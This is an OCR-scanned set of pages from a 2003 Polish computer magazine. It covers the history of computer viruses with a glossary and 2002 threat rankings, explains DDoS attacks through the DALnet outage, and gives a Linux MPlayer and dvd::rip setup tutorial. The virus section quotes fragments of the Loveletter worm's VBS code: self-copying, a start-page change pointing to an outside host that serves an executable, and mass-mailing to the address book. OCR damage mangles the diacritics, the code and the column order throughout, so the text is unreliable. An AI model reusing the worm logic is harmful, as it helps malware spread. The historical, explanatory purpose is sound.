czatku 1992 roku pojawity sie
w prasie, radiu i telewizji drama-
tyczne ostrzezenia przed katastrofg,
ktorg miat spowodowac wirus
Michelangelo. Wywotato to gwat-
towny wzrost sprzedazy pakietow
antywirusowych i dochodow ich
producentow. By¢ moze dzieki ta-

W32/Klez-H 15,3%

W32/Sobig-A 5,2%
W32/Avril-B 4,4%0

W32/Yaha-E 3,2%

W32/Avril-A 3,0%
W32/Yaha-K 2,6%0
W32/Yaha-K 2,4% — g
W32/Bugbear-A 2,2%
JS/NoClose 2,0%
W32/Lovgate-B 2,0%

Zrédto: Sophos

Inne 57,7%

kiej mobilizacji uzytkownikow Mi-
chat Aniot zamiast pigciu miliondw
komputerow, zaatakowat zaledwie
kilka tysiecy.

w USA. Babylonia (rok 1999) byta
pierwszym bakcylem aktualizujg-
cym sie przez internet za pomocg
serwera swoich tworcow.

CIH, zwany tez Czarnobylem,
zaatakowat w 1998 roku, a nastep-
nie, dzigki bombie logicznej, rok
pozniej, niszczac catkowicie dane
lub uszkadzajac kosci BIOS miliona
komputeréw na catym Swiecie.

Wielka epidemia przeszta przez
internet w pofowie 2000 roku.
Loveletter wyrzadzit miliardowe
straty. W 2002 roku niektorzy inter-
nauci mogli przeczyta¢ poufne do-
kumenty pochodzace miedzy inny-

Melissa sle listy
mitosne

W roku 1995 pojawit sie
MS Office z wbudowanym jezy-
kiem makropolecen, rozwinigtym
w kolejnych wersjach pakietu jako
Visual Basic for Applications. Ma-
kra staty sie noSnikami makrowiru-
sow. Od tej pory kazde otwarcie
obcego dokumentu Worda czy
Excela moze grozi¢ zainfekowa-
niem systemu.

BT CZERWIEC - LIPIEC 2003

Wykres przedstawia
statystyke zgtoszen
wysytanych przez
programy antywiru-
sowe firmy Sophos
do centrali w 2002
roku. Podobnie jak
w raporcie Symante-
ca widaé, Ze najcze-
Sciej uzytkownicy by-
li nekani przez
W32/Klez-H

n



mi z FBI. To wirus SirCam wysytat
obiekty z pulpitu Windows do przy-
padkowych adresatow. Rowniez

w ubiegtym roku robak Code-
Red/Nimda sparalizowat prace kom-
puterdw uzywajacych oprogramowa-
nia IIS firmy Microsoft. Zawinita luka

@ N

» adware - ang. advertisement software - oprogramo-
wanie reklamowe - program zintegrowany z inng aplika-
cja, wyswietlajacy reklamy w specjalnym okienku.

» bomba logiczna, bomba czasowa - funkcja wi-
rusa, powodujgca wykonanie destrukcyjnych dziatan tylko
po wystapieniu okreslonych warunkéw (okreslona data,
liczba infekgji itp.).

» code integration - jedna z najnowoczesniejszych
technik dziatania wirusa, polegajaca na roztozeniu pliku
- ofiary na czynniki pierwsze, potaczeniu z kodem wirusa
i ponownej kompilacji.

Trudne terminy

» dialer - program zmieniajacy ustawienia potgczenia
modemowego tak, aby komputer taczyt sie z numerami
zagranicznymi lub 0700.

» kon trojaﬁski, trojan - program szkodliwy, ukryty
w innej aplikacji, czesto zawierajgcy modut RAT, umozli-
wiajgcy kontrolowanie komputera z zewnatrz.

» malware - ang. malicious software - oprogramowa-
nie szkodliwe - programy najczesciej dziatajace w ukryciu,
napisane w celu destrukcyjnym lub osiagniecia korzysci
(adware, spyware, dialery).

» monitor - program obecny w pamieci komputera,
wykrywajacy wirusy podczas uruchamiania, kopiowania,
otwierania itp.

» nosiciel - program zainfekowany.

» piaskownica - ang. sandbox - sztuczne, wyizolo-
wane srodowisko do uruchamiania podejrzanych
programow.

» polimorfizm - zdolnos¢ wirusa do modyfikacji
i szyfrowania wtasnego kodu.

» RAT - ang. Remote Access Tool - narzedzie zdalnego
dostepu — modut umieszczany przewaznie w koniach
trojanskich, pozwalajacy na dostep do systemu

z zewnatrz.

» retrostruktury, retrowirusy - wirusy stosujace
mechanizmy niszczenia lub unieruchamiania skanerow
antywirusowych.

» replikacja - powielanie sie wirusa lub robaka.

» ringO - poziom jadra systemu Windows o bardzo
duzych mozliwosciach dziatania.

» ring3 - poziom dziatania aplikacji w systemie Win-
dows o ograniczonej funkcjonalnosci.

» robak - program szkodliwy, ktérego gtownym celem
jest powielanie sie za pomocy sieci.

» skaner - program analizujacy kod podejrzanej aplika-
¢ji i poréwnujacy go z baza sygnatur.

»» Spyware - ang. spying software - oprogramowanie
szpiegujace - aplikacje umieszczane w innych progra-
mach, zbierajgce dane o preferencjach uzytkownika.

» stealth - techniki majace na celu ukrycie obecnosci
wirusa przed uzytkownikiem i systemem.

» VBS worm - robak stworzony w jezyku Visual Basic
Script (na przyktad Loveletter).

» VX coder, vx writer - autor wirusow.
» web worm - robak ukryty w tresci strony WWW.
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MAGAZYN HISTORIA WIRUSOW

bezpieczenstwa w tym pakiecie.
Ofiarg bakcyla padty rowniez serwe-
ry samego Microsoftu.

Jak dziatat list mitosny

Wirus Loveletter jest dos¢ pro-
stym skryptem VBS. Nie jest wcale
maty (mniej wigcej 10 Kb) ani po-
mystowy, co widac po zawarto$ci
kodu. Do sprawnego dziatania wy-
starczyt mu wykryty bigd w Out-
looku, ktory pozwalat na automa-
tyczne uruchamianie skryptow.

Wirus rozpoczyna od tego,
ze tworzy w katalogu systemowym
swoje kopie:
€. Copy(dirsystem& WoKernel3Z vbs™)

c.Copy(dirwing"\WinJ20LL . vbs™)
r'.’(" (.1 rsys temé™\LOVE -L ETTER -FOR-¥OL. TXT.
vhs

Nastepnie zmienia zawarto$¢
strony startowej Internet Explorera
na jedng z czterech witryn, z kto-
rych pobiera nowe kopie:
regcreate "HRCU\Software\Microsoft\Interne

Explorer'Main\Start

Page" http: //waw. skyinet. net/~youngls/HIkhj

nwerh gkxcvytne rinMTFwetrds frhPng nﬁ?ﬂ! 345gvs
df7679n1bv T/ WIN-BUGSF1X, exe

Potem nadpisuje zawartos¢ pli-
kow o rozszerzeniach .vbs, .vbe,

Js, .jse, .css, .wsh, .sct, .hta, .jpg,
.jpeg, .mp3 i .mp2 swojg kopia

i dodawat na koncu rozszerzenie
vbs.

Ostatnim krokiem byto rozestanie
swojej kopii na adresy znalezione
w ksigzce adresowej:
male.Recipients . add(malead)
male.Subject = "ILOVEYOU"
male.Body = vherlf&"kindly check the
attached LOVELETTER coming from me.”
male. Attachments. Add(dirsystemd" \LOVE-LETTE

R-FOR-YOU. TXT. vhs")
male.Send

Wirus do piaskownicy

Producenci antywirusow nie
poddajg sie. Wykrywanie wirusow
polimorficznych stato sie mozliwe
dzigki opracowaniu skanerow heury-
stycznych. Nie poréwnujg one szko-
dliwego kodu z bazg sygnatur, lecz
obserwujg dziatanie programaow,
aw przypadku podejrzanych zacho-
wan izolujg je od systemu. Takie
izolowane Srodowiska tworzone
w systemie dla podejrzanych apli-
kacji noszg nazwe piaskownic.
Mozna w nich bezpiecznie urucha-
miac podejrzane pliki EXE, kontrolki
ActiveX lub skrypty.

Co nas czeka?

Autorzy wirusow porozumiewajg
Sie przez internet. Tworza tak zwang
sceng vx. Aktywnych autorow bak-
cyli jest okoto 50, w wiekszosci
z Czech, Hiszpanii, Australii oraz
krajow skandynawskich. Nie brakuje
rowniez Polakow. Ich dewiza brzmi:
wymysli¢ niewykrywalnego i nie-
usuwalnego wirusa. Obserwacja do-
konan prowadzi do wniosku, ze s3

©))

Czarna lista 2002

o roku Symantec publikuje liste pieciu najpowazniejszych zagrozen
bezpieczenstwa, ktore najbardziej daty sie we znaki uzytkownikom in-

ternetu.

1. W32/Klez.H@mm

Odkryty: 17 kwietnia 2002, liczba zgtoszonych infekgji: 297 196
Najczesciej atakujacy wirus w 2002 roku. Jest to zmodyfikowana wersja
robaka W32.Klez.E@mm Przenosi sie przez e-maile i zasoby sieciowe. In-

fekuje i niszczy zbiory na dysku.

2. W32/Bugbear@mm

Odkryty: 30 wrzesnia 2002, liczba zgtoszonych infekgji: 47 761

Mimo, ze jest to robak znany, to jego skutecznos¢ wciaz jest wysoka. Bug-
bear szybko roznosi sie przez e-maile i zasoby sieciowe. Znajgc odpowied-
nig kombinacje klawiszy, mozna przeja¢ kontrole nad tym robakiem. Ma on
rowniez cechy trojana, umozliwia wejscie do zarazonego systemu. Sam
probuje wytacza¢ programy antywirusowe i firewalle.

3. W32/Klez.E@mm

Odkryty: 17 stycznia 2002, liczba zgtoszonych infekgji: 43 190
W32.Klez.E@mm to sprytny i trudno wykrywalny robak e-mailowy, ktdry
kopiuje sie réwniez przez zasoby sieciowe. W wysytanych przez siebie li-
stach wykorzystuje losowe tytuty, tres¢ i zataczniki. Potrafi wytacza¢ wiele
antywirusow i firewalli, zastepuje zawartos¢ plikow zerami. Bardzo niebez-

pieczny.

4. W95/Hybris.worm

Odkryty: 25 wrzesnia 2000, liczba zgtoszonych infekgji: 38 577
W95.Hybris.worm jest zapisywany na dysku przez robaka W95.Hy-
bris.gen, ktéry uruchamia sie wraz z zatacznikiem wysytanym z zainfeko-
wanego komputera. Najwieksze szkody wyrzadzit w 2001 roku.

5. W32/Magistr.39921@mm

Odkryty: 3 wrzesnia 2001, liczba zgtoszonych infekcji: 29 506
W32.Magistr.39921@mm to robak, ktory usituje wystac swoja kopie do
jak najwiekszej liczby adreséw znalezionych w ksigzkach Windows i Eudory
oraz w folderach Wystane elementy Outlook Expressa i Netscape'a. Powo-
duje niestabilnos¢ systemu, nadpisujgc zbiory na twardym dysku, wyma-
zujgc CMOS i flashujac BIOS. Dodatkowo wysyta znalezione dokumenty

Worda do losowo wybranych oséb.

Iréto:

Symantec Security Response’s Top Five Worldwide Threats in 2002

blisko celu. Jednym z ostatnich
osiggniec Srodowiska vx jest opra-
cowanie silnika wirusowego Mistfall.
Zastosowana w nim technika code
integration powoduje, ze wirus moze
rozebra¢ na czynniki pierwsze nie-
mal kazdy plik wykonywalny EXE
i zmigszac z nim swoj wiasny kod.
Znane sg rowniez proby wyposaze-
nia wirusow w sztuczng inteligencie.
Jednak algorytmy Sl to setki stron
kodu, trudno bytoby wiec ukry¢ ta-
kiego bakcyla.

Programy w Windows dziafajg
W przestrzeni zwanej ring3 i nie
mogg wykonywac niektorych dzia-
tan, jak na przykfad zamykanie in-
nych aplikacji. Jest to mozliwe
w trybie jadra (ring0), najblizszym
sprzetowi. Programisci wirusow
znalezli juz kilka metod przejscia
do tego trybu. Wirusy mogtyby za-
tem wytgczac¢ skanery i monitory
antywirusowe, a potem pustoszy¢
komputer. Opracowano juz teore-
tyczne podstawy wirusa, ktory
mogtby zainfekowac wigkszo$¢
komputerw w sieci w 15 minut.

Jezeli uda sie stworzy¢ co$ takiego,
moze zdarzy¢ sie nawet ogdlno-
Swiatowa katastrofa.

TN

@Warto zajrze¢...

www.wiruspc.pl
wirusy.onet.pl

www.spy-software.org
WWW.CEXX.0rg

www.mks.com.pl
www.mcafee.pl
www.symantec.com/region/pl/
www.kaspersky.pl
www.drweb.com.pl

www.free-av.com
www.avast.com/avast32.htm
www.grisoft.com
www.finjan.com/products
/surfinguard.cfm
www.volto.com/interceptor/
www.vintage-solutions.com



ATAKI DISTRIBUTED DENIAL OF SERVICE MAGAZYN

FOT: COREL/montaz KOMPUTER SWIAT EKSPERT

Arsenat hakerow powiekszyt sie o nowa, bardzo skuteczng
bron - mozliwos¢ bezkarnego odciecia serwera od internetu

kreslenie Denial of

Service, w skrocie

DoS, to technika ata-
kow internetowych. Polega na zalaniu
wybranego serwera takg liczbg wywo-
fan, ze ten zaczyna najpierw zwalniac,
po czym zupetnie przestaje reagowaé
na zapytania. Wyobrazmy sobie sie-
ciowe archiwum FTP z limitem do-
stepu dla dziesigciu uzytkownikow.
Jesli jedna osoba zaloguije sie dzie-
sieC razy i nie bedzie chciafa sie roz-
taczy¢, doprowadzi to do zablokowa-
nia dostepu innym internautom.

W praktyce atakowana jest nie
konkretna ustuga (WWW czy FTP),
lecz podsystem odpowiedzialny za
komunikacje z internetem. Jest on
zajmowany tyloma zapytaniami kon-
trolnymi (na przyktad pingami), ze ta-
CZe nie przepuszcza juz zadnej innej
informacji.

DDoS i DRDoS

Rozwinigciem techniki DoS jest
DDoS (Distributed DoS), gdzie ataku
dokonuje nie jeden serwer, ale cafa
ich grupa dziatajgca w skoordyno-
wany sposab. Wyrafinowane metody
DDoS polegajg dodatkowo na pod-
Sszywaniu sie pod rozne adresy IP
(tak zwany IP Spoofing), wskutek
¢zego kazda z maszyn przeprowa-
dzajgcych uderzenie moze zachowy-
wac sie tak, jakby byfa kilkudziesie-
cioma roznymi komputerami. W ten
Sposob sifa ataku jest wigksza,

a kwestia namierzenia winowajcy
bardziej skomplikowana.

Najbardziej zaawansowang tech-
nikg atakow DoS jest Distributed Re-
flection DoS (DRDoS). Haker wybie-
ra grupe koncowek sieciowych (mo-
g3 nimi by¢ serwery, zwykte domo-
we pecety |ub rutery sieci szkieleto-
wej). Nastepnie, korzystajac z luk
w zabezpieczeniach, bez potrzeby
instalowania na nich wtasnego opro-

gramowania zwigzuje je ze sobg wy-
miang pakietow tak, zeby same za-
czety generowa¢ pomiedzy sobg
spreparowany ruch uniemozliwiajacy
normalng prace.

(o zablokowato DALnet

Problemy sieci DALnet spowo-
dowat dtugotrwaty atak typu DDoS,
ktory doréwnuijgc szkodliwoscig
atakowi DRDoS, jest mniej skom-
plikowany. Jak przeprowadzono te
agresje? Najpierw agresorzy zorga-
nizowali tak zwany dosnet, czyli ze-
Spot maszyn mogacych po wydaniu

:02] * Cancelled connect

:82] = Cancelled connect

:82] = Connecting to irc.dal.net (GGG8)
:82] * Unable to conncct (Can't assign requested address)

tralnego huba, ktérym mogt byc¢ je-
den z tysiecy kanatow w jednej
z wielu sieci IRC — rezydujgce na
nim boty przekazg odpowiednie in-
strukcje czekajgcym koncowkom.
Wspomniany przypadek DALnetu
pokazuje, ze internet wymyka sie
spod kontroli. Ta sie¢ IRC jest od
wielu miesiecy obiektem ataku
DDoS, ktory skutecznie blokuje
punkty dostepowe IRC, serwery
WWW i pocztowe oraz systemy ob-
stugi domen DNS. Obecnie sie¢ roz-
tozona jest na fopatki. Jej operatorzy
przyznaja, ze nie kontrolujg sytuacji,

X

:82] * Connecting to ced.dal.net (6667)
1821 = Unable to connect {Can't assiqn requested address)

:82] = Connecting to nexgo.dal.net {6667)

Po ataku DDoS z wiekszoscig serweréw DALnetu nadal nie mozna sie potaczyé

komendy rozpoczg¢ skoordynowa-
ne dziatanie. Dobry dosnet sktada
Sie z opanowanych przez hakera
serwerow znajdujgcych sie w roz-
nych miejscach internetu, w roz-
nych panstwach. Po uzyskaniu do-
stepu administracyjnego do jed-
nostki zainstalowali tak zwany root-
kit. Jest to podmieniony zestaw
tych aplikacji systemowych, ktore
moga powiadomi¢ administratora
0 fakcie wiamania. Dzigki temu
mozna swobodnie wykorzystac taki
komputer do wtasnych celow przez
diuzszy okres przy catkowitej nie-
$wiadomosci jego operatora.
Przygotowanie odpowiednich
koricowek byto na dobrg sprawe je-
dyng trudno$cig w catym przedsie-
wzigciu. Nastepnie bowiem zainsta-
lowano na nich narzedzia do atakow
DDoS, ktore na przykfad w wersjach
linuksowych dostepne sg niemal dla
kazdego. Sie¢ gotowych do ataku
komputerow koordynowano z cen-

a wszystkie podjete kroki (wspotpra-
ca z amerykanskim departamentem
FBI do spraw przestepczosci kompu-
terowej, konsultacje z uznanymi eks-
pertami jak Steve Gibson

z GRC.com i interwencje u zidentyfi-
kowanych operatorow telekomunika-
cyjnych) okazaty sie nieskuteczne.

Niewiele mozna juz zrobi¢ — DAL-
net zdany jest na taske ludzi stoja-
cych za atakiem. Najbardziej prawdo-
podobnym scenariuszem w przypad-
ku dalszego dziafania dosnetu jest
wykruszenie sie wszystkich serwe-
row, ktdrych operatorzy sponsorujacy
hosting po prostu znudzg Sie terrory-
zZowaniem swojgj ofiary.

Finat moze by jednak inny.
Ostatnie wydarzenia dajg powody
przypuszczac, ze atak miaf na celu
zmuszenie organizatorow DALnetu
do uniemozliwienia uzytkownikom
wykorzystywania kanatéw IRC w roli
centrow wspomagajacych dystrybu-
cje cyfrowych materiatéw multime-

@

» DoS - ang. Denial of Service - technika atakdw inter-
netowych, ktdra generujac sztuczne obcigzenie serwera,
prowadzi do zaburzenia jego podstawowych funkcji, co

w konsekwencji blokuje serwer

Trudne terminy ]

» SYN Flooding - pierwsza metoda atakow DoS wy-
korzystujaca niedociggniecia protokotow transmisyjnych.
Nie wigze sie z koniecznoscig transmisji duzych ilosci da-
nych, doprowadza jedynie do przepetnienia podsystemu
obstugi interfejsow sieciowych

» DDoS i DRDoS - ang. Distributed DoS i Distributed
Reflection DoS - techniki atakow DoS polegajace na agresyw-
nym zajeciu catej dostepnej przepustowosci tacza ofiary. Trud-
ne do namierzenia, praktycznie niemozliwe do opanowania

» P Spoofing - podszywanie sie pod cudze adresy IP.
Moze stuzy¢ zmyleniu systemodw ochronnych opartych na
identyfikacji adresow IP lub utrudni¢ wykrycie komputera

przeprowadzajacego atak DoS

dialnych, ktorych rozpowszechnia-
nie tamie prawa autorskie. DALnet
zgodzit sie juz zmienic regulamin

i najblizsze tygodnie pokaza, czy
SieC znowu ruszy.

Atak doskonaty?

Jeszcze nie istnieje skuteczna
obrona przed DDoS-em. Wyrafinowa-
ne metody atakéw przy wykorzystaniu
spoofingu adreséw IP maskujg fak-
tycznego wroga. Zidentyfikowanie go
posrod setek adresow, spod ktorych
otrzymuje Sie spreparowane zapyta-
nia, jest niezwykle trudne. Nie mozna
zrobic nic lokalnie, aby obronic sig
przed falg pakietow. Problem cze-
$ciowo rozwigzatoby skontaktowanie
sie z operatorem sieci, w ktdrej znaj-
duje sie atakujgcy komputer. Tu jed-
nak wracamy do kwestii zlokalizowa-
nia nie jednego, ale wielu kompute-
row, z ktorych kazdy kryje sie za cafg
klasg adresow. Wszystko to jest cza-
sochtonne i weale nie musi skonczy¢

Czy atak miat zmusié¢ DALnet do za-
przestania udostepniania kanatéw IRC
do dystrybucji plikéw, ktérych rozpo-
wszechnianie tamie prawa autorskie?

sie pozytywnie (trudno jest namowic
operatora w Korei, zeby zajat sie
sprawg z drugiego konca $Swiata).
Przezwyciezenie wszystkich pro-
blemow wcale nie gwarantuje suk-
cesu. Wytaczenie z atakujgcego
dosnetu jednej czy nawet kilku ma-
szyn moze by¢ przez hakera szybko
i bez trudu skompensowane przyta-
czeniem do ataku nastepnych
komputerow. B =

@Narto zajrze¢...

e www.dal.net
® www.grc.com
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Biblioteki
multimedialne
i kodeki GPL

dvd::rip GPL
MPlayer GPL
subtitleripper GPL
Y transcode GPL
VCDImager GPL
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Linuksowy
MPlayer jest
~ kombajnem
0 odtwarzania
filmow
wszystkich
formatach

Najnowsze wersje
Linuksa doskonale

nadaja sie do od-

twarzania i ripowania filmoéw.

24,0

Ekspert pokaze, jak zainstalowac
potrzebne oprogramowanie
oraz jak sie nim postugiwa¢

tandardowa instalacja

Linuksa nie nadaje sie

do zastosowan multi-
medialnych. Ekspert pokaze, jak
zainstalowac i uzywac oprogramo-
wanie przeznaczone do odtwarzania
oraz konwersji filméw DVD na inne
formaty. Wykorzystamy do tego ce-
lu Linux RedHat 8.0 oraz zestaw
programaéw narzedziowych i biblio-
tek systemowych. Niniejsze porady
powinny bez problemu dziata¢ tak-
Ze na innych popularych dystry-
bucjach Linuksa.

Do odtwarzania
MPlayer

Napisano juz wiele programow
i bibliotek pod systemy linuksowe
umozliwiajacych odtwarzanie pli-
kow wideo. Programami godnymi
uwagi sq Xine, Ogle, avifile oraz
MPIlayer. Ten ostatni jest zdecy-
dowanie najlepszg i najszybciej
rozwijajacg sie aplikacjg. Ma inter-
fejs GUI + z mozliwo$cig wyboru
skorek. Umozliwia tworzenie play-
list. Obstuguje prawie wszystkie

formaty napiséw do filmow. Ma
mozliwos$¢ definiowania wtasnej
mapy znakowej, dlatego mozliwe
jest stworzenie dowolnego alfabe-
tu i zestawu czcionek do wySwie-
tlania napisow.

Mplayer korzysta z natywnych
kodekow, skompilowanych pod
Uniksem, oraz potrafi obstuzy¢
kodeki w postaci windowsowych
bibliotek DLL. Dzigki temu mozli-
we stato sie odtwarzanie plikow
multimedialnych, do ktorych nie
ma udostepnionych koddw zro-
dtowych lub specyfikacji (RealAu-
dio/RealVideo, WMV) — wszystkie
kodeki pochodzace z Windows sg
standardowo zainstalowane w ka-
talogu /usr/lib/win 32

MPlayer moze odtwarzag filmy
DVD, VCD, SVCD oraz strumienie
wideo. Moze réwniez wyswietla¢
obraz na wskazanym przez uzytkow-
nika urzadzeniu. Pakiet znajdujacy
sie na plycie Eksperta zawiera
MPlayer 0.90RC4, zestaw polskich
fontow oraz wiekszos¢ kodekow ob-
stugiwanych przez program.
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Do konwersji:
transcode i dvd::rip

Konwersja DVD do DivX jest
mozliwa dzieki pakietowi
transcode. W jego skfad wchodzg
programy stuzgce do zgrywania pli-
kow z ptyty DVD oraz operacji na
plikach AVI. Gtownym programem
jest transcode, stuzgcy do konwer-
sji plikow z jednego formatu na in-
ny. Jest to komenda shellowa —
duza liczba parametrow moze znie-
checic do jej uzywania. Dlatego
wiasnie stworzono dvd::rip, kiory
jest graficznym programem korzy-
stajacym z pakietu transcode.

dvd:: rip umozliwia konwersje
filméw DVD na inne formaty wideo,
poczgwszy od zgrania filmu z kom-
paktu, a na wypaleniu go na CD juz
w przekonwertowanym formacie,
konczac. Aby dvd:: rip zadziatat,
wymagany jest interpreter jezyka
Perl, biblioteka Gtk-Perl oraz pa-
kiet ImageMagick. Mozna je zna-
lez¢ na ptycie instalacyjnej Linuk-
sa, cho¢ standardowo powinny by¢
zainstalowane. Pozostate pakiety
Ekspert zamie$cit na ptycie CD-
-ROM dotgczonej do czasopisma.

Instalacja programéw
Zanim przystapimy do konwersji
filmdw, musimy zainstalowac

w systemie niezbedne biblioteki

i aplikacje. Wazna jest kolejnosc,
w ktdrej instalujemy poszczegélne
komponenty na dysku twardym.

1. Zaczynamy od bibliotek, kiore
tworzg odpowiednie Srodowisko do
pracy aplikacji. Instalacja kazdego
z archiwow, bibliotek, jak i progra-
mow przebiega podobnie. Nalezy
odnalez¢ na ptycie Eksperta odpo-
wiednie archiwum, a nastepnie roz-
pakowac je do katalogu roboczego
/tmp, wydajac komende:

tar zxf ARCHIWUM.tar.gz -C /tmp
gdzie ARCHIWUM jest nazwa
paczki z oprogramowaniem.

2. Nastepnie przechodzimy do
katalogu /tmp poleceniem:
cd /tmp

3.w tym katalogu powinien

znajdowac sie katalog o nazwie ta-
kiej samej jak gtowny trzon nazwy
archiwum. Teraz wystarczy przej$c¢

@Ekspert radzi |

ajczestszym btedem, jaki

moze wystapi¢ podczas
instalacji, jest brak wymaganych
systemowych bibliotek. W takiej
sytuacji nalezy je doinstalowat
z ptyty instalacyjnej Linuksa.




do katalogu z archiwum, a nastep-
nie wywotac skrypt instalacyjny:
cd ARCHIWUM &&./instaluj

4. Nastepnie instalujemy
MPlayer — na krazku Eksperta znaj-
dziemy wersje w formacie RPM.

5. Jesli chcemy konwertowaé
filmy z ptyt DVD-Video, powinni-
Smy takze zainstalowac oprogra-
mowanie niezbedne do dziatania
dvd::ripa: transcode, subtitlerip-
per oraz vedimager. Dopiero na
samym koncu nalezy zainstalowac
aplikacje dvd::rip.

Ogladanie filméw
w MPlayerze

MPlayer (a takze dvd::rip) be-
dzie domysinie wymagac urzadze-
nia o nazwie /dev/dvd Zazwyczaj
jest to link do nazwy czytnika
CD/DVD. Podobne dowigzanie
/dev/cdrom jest tworzone przy
instalacji systemu i z tego wlasnie
skorzystamy.

1. Link do urzadzenia tworzymy
poleceniem:
In -s /dev/cdrom /dev/dvd

2. Aby uruchomi¢ MPlayer

w wersji shellowej, nalezy wydac
polecenie mplayer Wersja z GUI
dostepna jest pod nazwa gmplayer
Po uruchomieniu programu otworzy
sig okienko, w ktorym bedzie wy-
Swietlany film oraz panel sterowania
programu.

3. Przycisniecie prawego
przycisku myszy nad okienkiem

Z programem spowoduje otworze-
nie menu z listg polecen. Umozli-
wiaja one migdzy innymi sterowa-
nie odtwarzaniem filmow i plikow
znajdujacych sig na dysku twardym
i na ptytach wtoznonych do napedu
komputera @. Znajdziemy takze

Konfiguracja dvd::ripa
Po instalaciji plikow przejdzmy
do wstepnego skonfigurowania pro-
gramu dvd::rip Aplikacja ta ma wie-
le mozliwo$ci poukrywanych na kil-

ku zakfadkach, warto je poznac.

1. zanim uruchomimy program,
nalezy ustawié¢ zmienng PERLIO,
potrzebng do prawidtowego dziafa-
nia programu napisanego w jezyku
Perl. Czynimy to poleceniem:
export PERLIO=stdio

Jezeli tego nie zrobimy, pro-
gram za kazdym uruchamianiem
bedzie informowac o braku takie-
g0 ustawienia.

2. Nastepnie uruchamiamy
dvd:ripa komenda dvdrip

3. Podczas pierwszego urucha-
miania aplikacji przez uzytkownika

v
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kazdym oknie konfiguracyj-
nym znajdziemy trzy
przyciski oraz pole tekstowe. Pierw-

Czerwone napisy w ramce wskazujg
na btedne ustawienia, ktore nalezy
poprawic. Kolor zielony ® oznacza

szy nakazuje sprawdzi¢ catg konfi-
guracje programu, drugi ustawienia
znajdujace sie w obecnej zaktadce.

ustawienia poprawne. Przycisk @
zatwierdza konfiguracje, nawet gdy |
nie jest poprawna.

Chack all zaflings | Check seflings on this page |

H
1
i
E
i
or <€

Check results

DYD device: /dew/dvd writable - Ok
[T mannt print mntfedrnm edsts - Ok
Default data base directory: fhomesddvd writahle -

OGG file extension: not tested - Ok

Default directory for rip project files: fhomesdyd writable - Ok

Ok

do tego celu. Wazne jest, aby

na partycji tej byto okoto 10 GB

wolnego miejsca. W polu [ po-
dajemy ten sam katalog jak w [1.

6. Nastepne pole to [, ktdre od-
nosi sie do rozszerzenia, z jakim

daje mozliwo$¢ potgczenia wielu
komputeréw ze sobg i rozdzielenia
pracy podczas konwersji filmu.
Oczywiscie klaster do funkcjonowa-
nia wymaga sieci komputerowe;.

Filesystem | Commands | CD burning | cdrdao options

majg powstawac pliki zapisane
w formacie 0GG. Do wyboru sg na-

| Commands | CD burning | cdrdao options | Cluster options | Miscellaneous options

DVD device

Jidevidva [ ]

DVD mount point

|r’mr|1.l'cdrum ]

Default data hase direciong

[momesvn ]

Detault diractory for np project filas

]lrn omasavd | |

QGG file exdension

]ogm ]

4

otworzone zostaje okno konfigura-

opcje dotyczace ustawien, wielkosci
okna z odtwarzanym filmem oraz
aplikator skorek dla MPlayera @.

About MMlayer
Open ...
Flayinyg

veD

DYD

Aspecl ralin

1Load subtitle ...
A iDmp subtitic ...

=
Skin browser

Freferences
- Equalizer

1
14 Double size
\J Fullscreen %

\Load external audio file

_cyine @
4 .. Pierwsza zaktadka w oknie kon-
figuracyjnym jest [Filesystem]. De-
finiujemy tu urzadzenia i katalogi,

w ktorych znajduja sie tworzone
podczas pracy pliki. Pole [] wskazu-
je na urzadzenie, pod jakim znajduje
sig czytnik. Podajmy tu /dev/dvd
(link taki zostat utworzony wczesniej
podczas instalacji oprogramowania).
Z kolei [J wskazuje na katalog, pod
ktéry ma by¢ podmontowana ptyta
DVD — wpiszmy tu /mnt/cdrom

@Ekspert radzi |

J ezeli zdefiniujemy w polu

inny ka-
talog, wazne jest, aby dopisac¢ go
do pliku /etc/fstab

dvd:rip wykorzystuje systemowe
polecenie mount do zamontowania
ptyty, podajac jedynie miejsce
montowania. Dane o urzadzeniu
obstugujacym konkretne medium,
system plikéw i flagi uzywane
podczas montowania sg brane

z wyzej wymienionego pliku.

5. Przyjrzyimy sie kolejnym po-
lom na tej zaktadce. [J to katalog,
w ktorym program dvd:: rip bedzie
zapisywat pliki powstajgce pod-
czas konwersji filmow. Ekspert
utworzyt osobny katalog o nazwie
/home/dvd, przeznaczony tylko

Zwy .0gm oraz .0gg. Istnieje row-
niez mozliwo$¢ wpisania wtasnego
r0zszerzenia.

7. Kolejng wazng zakladkg jest
[Cammands], w kidrej wskazujemy
programy stuzace do odiwarzania
plikow multimedialnych, a ktore be-
dg wywotywane do odgrywania ob-
razow w roznych postaciach @.

Default Wideo Codec div=5

Yeg

Showy tooltips w MO
Startup window width
Startup window height -

libdvdcss method

10. Pozostata nam jeszcze za-
kiadka [Miscellaneous options).
_Pole @ okresla domysiny kodek
wideo, jaki ma by¢ uzyty do prze-
kodowania filmu — wskazmy
najnowszy DivX5. Kolejne dwa
pola @ okreslajg wymiary, jakie
bedzie miec okno programu.

Pole @ definiuje natomiast metode
odkodowywania ptyt DVD (wiecej
informacji znajdziemy w helpie).

; X
Filesystem | %D hurning | cdrdan optiohs | Cluster aptions | Miscellaneous optians

DVD player command
File player command
STODIM player command

rar command (far vobsub compression)

|mp|ayer<dud:ﬂ%t -aid %(%a+128) -chapter %C —dwg

|mp|ayer<%f> Il

[mplayer -aid %i#a+128) - [

|rar O

8. W polu [ definiuje sie od-
twarzacz DVD, ktory ma odgrywac
poszczegoine sceny z filmu. Z ko-
lei [J ustawia aplikacje stuzacg do
ogrywania plikow multimedial-
nych, a [J wskazuje program ma-
jacy odgrywac dane podawane

na standardowe wejscie (na przy-
ktad w czasie streamingu pliku
wideo). W polu [J wybieramy RAR
wskazujac program do kompreso-
wania napisow z filmow.

Wstepna konfiguracja zakonczo-
na. Nacisnijmy przycisk [Gk], aby
zatwierdzi¢ ustawienia. Program
jest gotowy do pracy. O

L

kspert w tym artykule nie pokazuje metod nagrywa-
nia ptyt z przekonwertowanymi filmami, zatem usta-
wienia na zaktadkach [CC' burning | i [cedrdan options]
zostang pominiete.

Ekspert radzi

9. Na zakfadce
konfigurowana jest praca w klastrze
®. Nie bedziemy korzystac z tej

funkcji, wigc klikamy na @. Klaster

Filesystem | Commands | CD hurning | cdrdan options
>
>
Start cluster control daeman locally w Yes_& No
______ 4
Hostname of server with daemon |
TCP patt hutber of daeman |28646
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File  FEdil Operale  Closler  Detug

nformacja o dostepnym oprogramowaniu, ktdrego bedzie uzywac

,,Dehu_q I

dvd:rip, dostepna jest w menu @, pod opcjg ®. Widzimy liste

